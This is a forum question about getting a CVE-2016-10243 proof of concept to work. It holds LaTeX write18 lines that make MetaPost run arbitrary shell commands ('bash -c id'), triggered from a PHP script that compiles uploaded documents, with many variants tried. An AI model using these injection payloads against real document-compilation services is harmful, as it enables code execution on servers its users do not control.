I'm trying to exploit CVE-2016-10243 vulnerability (I enabled mpost in texmf.cnf, so it works also for newer Tex Live versions):



etex beginfig (1) label(btex blah etex, origin);


\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn" "test.mp"}

I'm using PHP script which compiles Latex document to PDF. It works when I place my PHP script in the same directory where my Latex and MetaPost documents are.


shell_exec("pdflatex test.tex");
shell_exec("bibtex test.aux");
shell_exec("pdflatex test.tex");
shell_exec("pdflatex test.tex");

However when using pdflatex with option --output-directory (and bibtex with absolute path: /absolute/path/test.aux) and calling pdflatex from another directory it doesn't work.

An author of that exploit states:

A few tricks can improve the "exploit" reliability. Indeed, this PoC doesn't work if pdflatex isn't lauched from x.mp's [test.mp] directory (but default .mp files can be specified). The -interaction=nonstopmode option of mpost allows the compilation of the rest of the document even if an error occurs.

Here I found out that MetaPost has an extra parameter -output-directory which isn't documented in man mpost and mpost --help (Tex Live 2019):

On my computer, the command line: mpost -output-directory=./temp is working (temp is a sub-directory of the main directory)

But MetaPost manual says (page 99):

The following command-line switches are ignored, but trigger a warning:




But here (mpost(1) - Linux man page) it says that there this parameter is available. That's confusing (!).

What I've tried so far:

test.php (also with --shell-escape option)

$tempDir = "/absolute/path";

shell_exec("pdflatex --output-directory=".$tempDir." test.tex");
shell_exec("bibtex ".$tempDir."/test.aux");
shell_exec("pdflatex --output-directory=".$tempDir." test.tex");
shell_exec("pdflatex --output-directory=".$tempDir." test.tex");



% -output-directory with "-"
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn1" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn2" "/absolute/path/test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn3" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn4" "/absolute/path/test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn5" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn6" "/absolute/path/test.mp"}

% --output-directory with "--"
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn7" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn8" "/absolute/path/test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn9" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn10" "/absolute/path/test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn11" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn12" "/absolute/path/test.mp"}

% without "output-directory"
\immediate\write18{mpost -ini "-tex=bash -c id>pwn13" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>pwn14" "/absolute/path/test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/absolute/path/pwn15" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/absolute/path/pwn16" "/absolute/path/test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn17" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn18" "/absolute/path/test.mp"}


User rights should be OK (because when running it from the same directory it works but not from another). I also tried to use --shell-escape in shell_exec just to check for possible tex permission problems (to execute commands from inside my latex document). I checked both tmp directories: the linux default one /tmp/ and another one for PHP (/tmp/system-private-...-apache2-service-.../tmp/). It produces me a valid PDF file and a metapost document but I don't see anywhere file pwn.

Question: Is this an extra security feature that it doesn't work?

  • The program mpost doesn't obey the -output-directory option. – egreg Oct 30 '19 at 15:47
  • @egreg is there any rationale behind that? security feature? – Awaaaaarghhh Oct 30 '19 at 15:51
  • 2
    No idea why it's not implemented and just silently ignored. It would be useful for my gmp package, but, alas! – egreg Oct 30 '19 at 15:51

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.